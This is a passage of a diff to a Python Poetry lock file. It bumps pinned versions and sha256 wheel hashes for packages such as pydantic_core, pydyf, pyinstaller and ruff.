hash = "sha256:ec3beeada09ff865c344ff3bc2f427f5e6c26401cc6113d77e372c3fdac73864"}, + {file = "pydantic_core-2.20.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:3acae97ffd19bf091c72df4d726d552c473f3576409b2a7ca36b2f535ffff4a3"}, + {file = "pydantic_core-2.20.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:41f4c96227a67a013e7de5ff8f20fb496ce573893b7f4f2707d065907bffdbd6"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f239eb799a2081495ea659d8d4a43a8f42cd1fe9ff2e7e436295c38a10c286a"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53e431da3fc53360db73eedf6f7124d1076e1b4ee4276b36fb25514544ceb4a3"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f1f62b2413c3a0e846c3b838b2ecd6c7a19ec6793b2a522745b0869e37ab5bc1"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5d41e6daee2813ecceea8eda38062d69e280b39df793f5a942fa515b8ed67953"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d482efec8b7dc6bfaedc0f166b2ce349df0011f5d2f1f25537ced4cfc34fd98"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e93e1a4b4b33daed65d781a57a522ff153dcf748dee70b40c7258c5861e1768a"}, + {file = "pydantic_core-2.20.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e7c4ea22b6739b162c9ecaaa41d718dfad48a244909fe7ef4b54c0b530effc5a"}, + {file = "pydantic_core-2.20.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4f2790949cf385d985a31984907fecb3896999329103df4e4983a4a41e13e840"}, + {file = "pydantic_core-2.20.1-cp310-none-win32.whl", hash = "sha256:5e999ba8dd90e93d57410c5e67ebb67ffcaadcea0ad973240fdfd3a135506250"}, + {file = "pydantic_core-2.20.1-cp310-none-win_amd64.whl", hash = "sha256:512ecfbefef6dac7bc5eaaf46177b2de58cdf7acac8793fe033b24ece0b9566c"}, + {file = "pydantic_core-2.20.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:d2a8fa9d6d6f891f3deec72f5cc668e6f66b188ab14bb1ab52422fe8e644f312"}, + {file = "pydantic_core-2.20.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:175873691124f3d0da55aeea1d90660a6ea7a3cfea137c38afa0a5ffabe37b88"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37eee5b638f0e0dcd18d21f59b679686bbd18917b87db0193ae36f9c23c355fc"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:25e9185e2d06c16ee438ed39bf62935ec436474a6ac4f9358524220f1b236e43"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:150906b40ff188a3260cbee25380e7494ee85048584998c1e66df0c7a11c17a6"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ad4aeb3e9a97286573c03df758fc7627aecdd02f1da04516a86dc159bf70121"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d3f3ed29cd9f978c604708511a1f9c2fdcb6c38b9aae36a51905b8811ee5cbf1"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b0dae11d8f5ded51699c74d9548dcc5938e0804cc8298ec0aa0da95c21fff57b"}, + {file = "pydantic_core-2.20.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:faa6b09ee09433b87992fb5a2859efd1c264ddc37280d2dd5db502126d0e7f27"}, + {file = "pydantic_core-2.20.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9dc1b507c12eb0481d071f3c1808f0529ad41dc415d0ca11f7ebfc666e66a18b"}, + {file = "pydantic_core-2.20.1-cp311-none-win32.whl", hash = "sha256:fa2fddcb7107e0d1808086ca306dcade7df60a13a6c347a7acf1ec139aa6789a"}, + {file = "pydantic_core-2.20.1-cp311-none-win_amd64.whl", hash = "sha256:40a783fb7ee353c50bd3853e626f15677ea527ae556429453685ae32280c19c2"}, + {file = "pydantic_core-2.20.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:595ba5be69b35777474fa07f80fc260ea71255656191adb22a8c53aba4479231"}, + {file = "pydantic_core-2.20.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a4f55095ad087474999ee28d3398bae183a66be4823f753cd7d67dd0153427c9"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f9aa05d09ecf4c75157197f27cdc9cfaeb7c5f15021c6373932bf3e124af029f"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e97fdf088d4b31ff4ba35db26d9cc472ac7ef4a2ff2badeabf8d727b3377fc52"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bc633a9fe1eb87e250b5c57d389cf28998e4292336926b0b6cdaee353f89a237"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d573faf8eb7e6b1cbbcb4f5b247c60ca8be39fe2c674495df0eb4318303137fe"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:26dc97754b57d2fd00ac2b24dfa341abffc380b823211994c4efac7f13b9e90e"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:33499e85e739a4b60c9dac710c20a08dc73cb3240c9a0e22325e671b27b70d24"}, + {file = "pydantic_core-2.20.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:bebb4d6715c814597f85297c332297c6ce81e29436125ca59d1159b07f423eb1"}, + {file = "pydantic_core-2.20.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:516d9227919612425c8ef1c9b869bbbee249bc91912c8aaffb66116c0b447ebd"}, + {file = "pydantic_core-2.20.1-cp312-none-win32.whl", hash = "sha256:469f29f9093c9d834432034d33f5fe45699e664f12a13bf38c04967ce233d688"}, + {file = "pydantic_core-2.20.1-cp312-none-win_amd64.whl", hash = "sha256:035ede2e16da7281041f0e626459bcae33ed998cca6a0a007a5ebb73414ac72d"}, + {file = "pydantic_core-2.20.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:0827505a5c87e8aa285dc31e9ec7f4a17c81a813d45f70b1d9164e03a813a686"}, + {file = "pydantic_core-2.20.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19c0fa39fa154e7e0b7f82f88ef85faa2a4c23cc65aae2f5aea625e3c13c735a"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa223cd1e36b642092c326d694d8bf59b71ddddc94cdb752bbbb1c5c91d833b"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c336a6d235522a62fef872c6295a42ecb0c4e1d0f1a3e500fe949415761b8a19"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7eb6a0587eded33aeefea9f916899d42b1799b7b14b8f8ff2753c0ac1741edac"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:70c8daf4faca8da5a6d655f9af86faf6ec2e1768f4b8b9d0226c02f3d6209703"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9fa4c9bf273ca41f940bceb86922a7667cd5bf90e95dbb157cbb8441008482c"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:11b71d67b4725e7e2a9f6e9c0ac1239bbc0c48cce3dc59f98635efc57d6dac83"}, + {file = "pydantic_core-2.20.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:270755f15174fb983890c49881e93f8f1b80f0b5e3a3cc1394a255706cabd203"}, + {file = "pydantic_core-2.20.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c81131869240e3e568916ef4c307f8b99583efaa60a8112ef27a366eefba8ef0"}, + {file = "pydantic_core-2.20.1-cp313-none-win32.whl", hash = "sha256:b91ced227c41aa29c672814f50dbb05ec93536abf8f43cd14ec9521ea09afe4e"}, + {file = "pydantic_core-2.20.1-cp313-none-win_amd64.whl", hash = "sha256:65db0f2eefcaad1a3950f498aabb4875c8890438bc80b19362cf633b87a8ab20"}, + {file = "pydantic_core-2.20.1-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:4745f4ac52cc6686390c40eaa01d48b18997cb130833154801a442323cc78f91"}, + {file = "pydantic_core-2.20.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a8ad4c766d3f33ba8fd692f9aa297c9058970530a32c728a2c4bfd2616d3358b"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41e81317dd6a0127cabce83c0c9c3fbecceae981c8391e6f1dec88a77c8a569a"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:04024d270cf63f586ad41fff13fde4311c4fc13ea74676962c876d9577bcc78f"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eaad4ff2de1c3823fddf82f41121bdf453d922e9a238642b1dedb33c4e4f98ad"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:26ab812fa0c845df815e506be30337e2df27e88399b985d0bb4e3ecfe72df31c"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3c5ebac750d9d5f2706654c638c041635c385596caf68f81342011ddfa1e5598"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2aafc5a503855ea5885559eae883978c9b6d8c8993d67766ee73d82e841300dd"}, + {file = "pydantic_core-2.20.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4868f6bd7c9d98904b748a2653031fc9c2f85b6237009d475b1008bfaeb0a5aa"}, + {file = "pydantic_core-2.20.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:aa2f457b4af386254372dfa78a2eda2563680d982422641a85f271c859df1987"}, + {file = "pydantic_core-2.20.1-cp38-none-win32.whl", hash = "sha256:225b67a1f6d602de0ce7f6c1c3ae89a4aa25d3de9be857999e9124f15dab486a"}, + {file = "pydantic_core-2.20.1-cp38-none-win_amd64.whl", hash = "sha256:6b507132dcfc0dea440cce23ee2182c0ce7aba7054576efc65634f080dbe9434"}, + {file = "pydantic_core-2.20.1-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:b03f7941783b4c4a26051846dea594628b38f6940a2fdc0df00b221aed39314c"}, + {file = "pydantic_core-2.20.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1eedfeb6089ed3fad42e81a67755846ad4dcc14d73698c120a82e4ccf0f1f9f6"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:635fee4e041ab9c479e31edda27fcf966ea9614fff1317e280d99eb3e5ab6fe2"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:77bf3ac639c1ff567ae3b47f8d4cc3dc20f9966a2a6dd2311dcc055d3d04fb8a"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7ed1b0132f24beeec5a78b67d9388656d03e6a7c837394f99257e2d55b461611"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c6514f963b023aeee506678a1cf821fe31159b925c4b76fe2afa94cc70b3222b"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10d4204d8ca33146e761c79f83cc861df20e7ae9f6487ca290a97702daf56006"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2d036c7187b9422ae5b262badb87a20a49eb6c5238b2004e96d4da1231badef1"}, + {file = "pydantic_core-2.20.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9ebfef07dbe1d93efb94b4700f2d278494e9162565a54f124c404a5656d7ff09"}, + {file = "pydantic_core-2.20.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:6b9d9bb600328a1ce523ab4f454859e9d439150abb0906c5a1983c146580ebab"}, + {file = "pydantic_core-2.20.1-cp39-none-win32.whl", hash = "sha256:784c1214cb6dd1e3b15dd8b91b9a53852aed16671cc3fbe4786f4f1db07089e2"}, + {file = "pydantic_core-2.20.1-cp39-none-win_amd64.whl", hash = "sha256:d2fe69c5434391727efa54b47a1e7986bb0186e72a41b203df8f5b0a19a4f669"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a45f84b09ac9c3d35dfcf6a27fd0634d30d183205230a0ebe8373a0e8cfa0906"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d02a72df14dfdbaf228424573a07af10637bd490f0901cee872c4f434a735b94"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2b27e6af28f07e2f195552b37d7d66b150adbaa39a6d327766ffd695799780f"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:084659fac3c83fd674596612aeff6041a18402f1e1bc19ca39e417d554468482"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:242b8feb3c493ab78be289c034a1f659e8826e2233786e36f2893a950a719bb6"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:38cf1c40a921d05c5edc61a785c0ddb4bed67827069f535d794ce6bcded919fc"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e0bbdd76ce9aa5d4209d65f2b27fc6e5ef1312ae6c5333c26db3f5ade53a1e99"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:254ec27fdb5b1ee60684f91683be95e5133c994cc54e86a0b0963afa25c8f8a6"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:407653af5617f0757261ae249d3fba09504d7a71ab36ac057c938572d1bc9331"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:c693e916709c2465b02ca0ad7b387c4f8423d1db7b4649c551f27a529181c5ad"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5b5ff4911aea936a47d9376fd3ab17e970cc543d1b68921886e7f64bd28308d1"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:177f55a886d74f1808763976ac4efd29b7ed15c69f4d838bbd74d9d09cf6fa86"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:964faa8a861d2664f0c7ab0c181af0bea66098b1919439815ca8803ef136fc4e"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:4dd484681c15e6b9a977c785a345d3e378d72678fd5f1f3c0509608da24f2ac0"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f6d6cff3538391e8486a431569b77921adfcdef14eb18fbf19b7c0a5294d4e6a"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a6d511cc297ff0883bc3708b465ff82d7560193169a8b93260f74ecb0a5e08a7"}, + {file = "pydantic_core-2.20.1.tar.gz", hash = "sha256:26ca695eeee5f9f1aeeb211ffc12f10bcb6f71e2989988fda61dabd65db878d4"}, ] [package.dependencies] @@ -1847,13 +1869,13 @@ typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" [[package]] name = "pydyf" -version = "0.10.0" +version = "0.11.0" description = "A low-level PDF generator." optional = false python-versions = ">=3.8" files = [ - {file = "pydyf-0.10.0-py3-none-any.whl", hash = "sha256:ef76b6c0976a091a9e15827fb5800e5e37e7cd1a3ca4d4bd19d10a14ea8c0ae3"}, - {file = "pydyf-0.10.0.tar.gz", hash = "sha256:357194593efaf61d7b48ab97c3d59722114934967c3df3d7878ca6dd25b04c30"}, + {file = "pydyf-0.11.0-py3-none-any.whl", hash = "sha256:0aaf9e2ebbe786ec7a78ec3fbffa4cdcecde53fd6f563221d53c6bc1328848a3"}, + {file = "pydyf-0.11.0.tar.gz", hash = "sha256:394dddf619cca9d0c55715e3c55ea121a9bf9cbc780cdc1201a2427917b86b64"}, ] [package.extras] @@ -1928,23 +1950,23 @@ files = [ [[package]] name = "pyinstaller" -version = "6.8.0" +version = "6.9.0" description = "PyInstaller bundles a Python application and all its dependencies into a single package." optional = false python-versions = "<3.13,>=3.8" files = [ - {file = "pyinstaller-6.8.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:5ff6bc2784c1026f8e2f04aa3760cbed41408e108a9d4cf1dd52ee8351a3f6e1"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:39ac424d2ee2457d2ab11a5091436e75a0cccae207d460d180aa1fcbbafdd528"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_i686.whl", hash = "sha256:355832a3acc7de90a255ecacd4b9f9e166a547a79c8905d49f14e3a75c1acdb9"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:6303c7a009f47e6a96ef65aed49f41e36ece8d079b9193ca92fe807403e5fe80"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2b71509468c811968c0b5decb5bbe85b6292ea52d7b1f26313d2aabb673fa9a5"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:ff31c5b99e05a4384bbe2071df67ec8b2b347640a375eae9b40218be2f1754c6"}, - {file = "pyinstaller-6.8.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:000c36b13fe4cd8d0d8c2bc855b1ddcf39867b5adf389e6b5ca45b25fa3e619d"}, - {file = "pyinstaller-6.8.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:fe0af018d7d5077180e3144ada89a4da5df8d07716eb7e9482834a56dc57a4e8"}, - {file = "pyinstaller-6.8.0-py3-none-win32.whl", hash = "sha256:d257f6645c7334cbd66f38a4fac62c3ad614cc46302b2b5d9f8cc48c563bce0e"}, - {file = "pyinstaller-6.8.0-py3-none-win_amd64.whl", hash = "sha256:81cccfa9b16699b457f4788c5cc119b50f3cd4d0db924955f15c33f2ad27a50d"}, - {file = "pyinstaller-6.8.0-py3-none-win_arm64.whl", hash = "sha256:1c3060a263758cf7f0144ab4c016097b20451b2469d468763414665db1bb743d"}, - {file = "pyinstaller-6.8.0.tar.gz", hash = "sha256:3f4b6520f4423fe19bcc2fd63ab7238851ae2bdcbc98f25bc5d2f97cc62012e9"}, + {file = "pyinstaller-6.9.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:5ced2e83acf222b936ea94abc5a5cc96588705654b39138af8fb321d9cf2b954"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:f18a3d551834ef8fb7830d48d4cc1527004d0e6b51ded7181e78374ad6111846"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_i686.whl", hash = "sha256:f2fc568de3d6d2a176716a3fc9f20da06d351e8bea5ddd10ecb5659fce3a05b0"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:a0f378f64ad0655d11ade9fde7877e7573fd3d5066231608ce7dfa9040faecdd"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:7bf0c13c5a8560c89540746ae742f4f4b82290e95a6b478374d9f34959fe25d6"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:da994aba14c5686db88796684de265a8665733b4df09b939f7ebdf097d18df72"}, + {file = "pyinstaller-6.9.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:4e3e50743c091a06e6d01c59bdd6d03967b453ee5384a9e790759be4129db4a4"}, + {file = "pyinstaller-6.9.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:b041be2fe78da47a269604d62c940d68c62f9a3913bdf64af4123f7689d47099"}, + {file = "pyinstaller-6.9.0-py3-none-win32.whl", hash = "sha256:2bf4de17a1c63c0b797b38e13bfb4d03b5ee7c0a68e28b915a7eaacf6b76087f"}, + {file = "pyinstaller-6.9.0-py3-none-win_amd64.whl", hash = "sha256:43709c70b1da8441a730327a8ed362bfcfdc3d42c1bf89f3e2b0a163cc4e7d33"}, + {file = "pyinstaller-6.9.0-py3-none-win_arm64.whl", hash = "sha256:f15c1ef11ed5ceb32447dfbdab687017d6adbef7fc32aa359d584369bfe56eda"}, + {file = "pyinstaller-6.9.0.tar.gz", hash = "sha256:f4a75c552facc2e2a370f1e422b971b5e5cdb4058ff38cea0235aa21fc0b378f"}, ] [package.dependencies] @@ -1952,7 +1974,7 @@ altgraph = "*" macholib = {version = ">=1.8", markers = "sys_platform == \"darwin\""} packaging = ">=22.0" pefile = {version = ">=2022.5.30", markers = "sys_platform == \"win32\""} -pyinstaller-hooks-contrib = ">=2024.6" +pyinstaller-hooks-contrib = ">=2024.7" pywin32-ctypes = {version = ">=0.2.1", markers = "sys_platform == \"win32\""} setuptools = ">=42.0.0" @@ -2444,29 +2466,29 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.5.0" +version = "0.5.3" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" files = [ - {file = "ruff-0.5.0-py3-none-linux_armv6l.whl", hash = "sha256:ee770ea8ab38918f34e7560a597cc0a8c9a193aaa01bfbd879ef43cb06bd9c4c"}, - {file = "ruff-0.5.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:38f3b8327b3cb43474559d435f5fa65dacf723351c159ed0dc567f7ab735d1b6"}, - {file = "ruff-0.5.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7594f8df5404a5c5c8f64b8311169879f6cf42142da644c7e0ba3c3f14130370"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adc7012d6ec85032bc4e9065110df205752d64010bed5f958d25dbee9ce35de3"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d505fb93b0fabef974b168d9b27c3960714d2ecda24b6ffa6a87ac432905ea38"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9dc5cfd3558f14513ed0d5b70ce531e28ea81a8a3b1b07f0f48421a3d9e7d80a"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:db3ca35265de239a1176d56a464b51557fce41095c37d6c406e658cf80bbb362"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b1a321c4f68809fddd9b282fab6a8d8db796b270fff44722589a8b946925a2a8"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c4dfcd8d34b143916994b3876b63d53f56724c03f8c1a33a253b7b1e6bf2a7d"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:81e5facfc9f4a674c6a78c64d38becfbd5e4f739c31fcd9ce44c849f1fad9e4c"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e589e27971c2a3efff3fadafb16e5aef7ff93250f0134ec4b52052b673cf988d"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d2ffbc3715a52b037bcb0f6ff524a9367f642cdc5817944f6af5479bbb2eb50e"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cd096e23c6a4f9c819525a437fa0a99d1c67a1b6bb30948d46f33afbc53596cf"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:46e193b36f2255729ad34a49c9a997d506e58f08555366b2108783b3064a0e1e"}, - {file = "ruff-0.5.0-py3-none-win32.whl", hash = "sha256:49141d267100f5ceff541b4e06552e98527870eafa1acc9dec9139c9ec5af64c"}, - {file = "ruff-0.5.0-py3-none-win_amd64.whl", hash = "sha256:e9118f60091047444c1b90952736ee7b1792910cab56e9b9a9ac20af94cd0440"}, - {file = "ruff-0.5.0-py3-none-win_arm64.whl", hash = "sha256:ed5c4df5c1fb4518abcb57725b576659542bdbe93366f4f329e8f398c4b71178"}, - {file = "ruff-0.5.0.tar.gz", hash = "sha256:eb641b5873492cf9bd45bc9c5ae5320648218e04386a5f0c264ad6ccce8226a1"}, + {file = "ruff-0.5.3-py3-none-linux_armv6l.whl", hash = "sha256:b12424d9db7347fa63c5ed9af010003338c63c629fb9c9c6adb2aa4f5699729b"}, + {file = "ruff-0.5.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b8d72c5684bbd4ed304a9a955ee2e67f57b35f6193222ade910cca8a805490e3"}, + {file = "ruff-0.5.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d2fc2cdb85ccac1e816cc9d5d8cedefd93661bd957756d902543af32a6b04a71"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf4bc751240b2fab5d19254571bcacb315c7b0b00bf3c912d52226a82bbec073"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bc697ec874fdd7c7ba0a85ec76ab38f8595224868d67f097c5ffc21136e72fcd"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e791d34d3557a3819b3704bc1f087293c821083fa206812842fa363f6018a192"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:76bb5a87fd397520b91a83eae8a2f7985236d42dd9459f09eef58e7f5c1d8316"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a8cfc7a26422c78e94f1ec78ec02501bbad2df5834907e75afe474cc6b83a8c1"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96066c4328a49fce2dd40e80f7117987369feec30ab771516cf95f1cc2db923c"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfe9ab5bdc0b08470c3b261643ad54ea86edc32b64d1e080892d7953add3ad"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:7704582a026fa02cca83efd76671a98ee6eb412c4230209efe5e2a006c06db62"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:08058d077e21b856d32ebf483443390e29dc44d927608dc8f092ff6776519da9"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:77d49484429ed7c7e6e2e75a753f153b7b58f875bdb4158ad85af166a1ec1822"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:642cbff6cbfa38d2566d8db086508d6f472edb136cbfcc4ea65997745368c29e"}, + {file = "ruff-0.5.3-py3-none-win32.whl", hash = "sha256:eafc45dd8bdc37a00b28e68cc038daf3ca8c233d73fea276dcd09defb1352841"}, + {file = 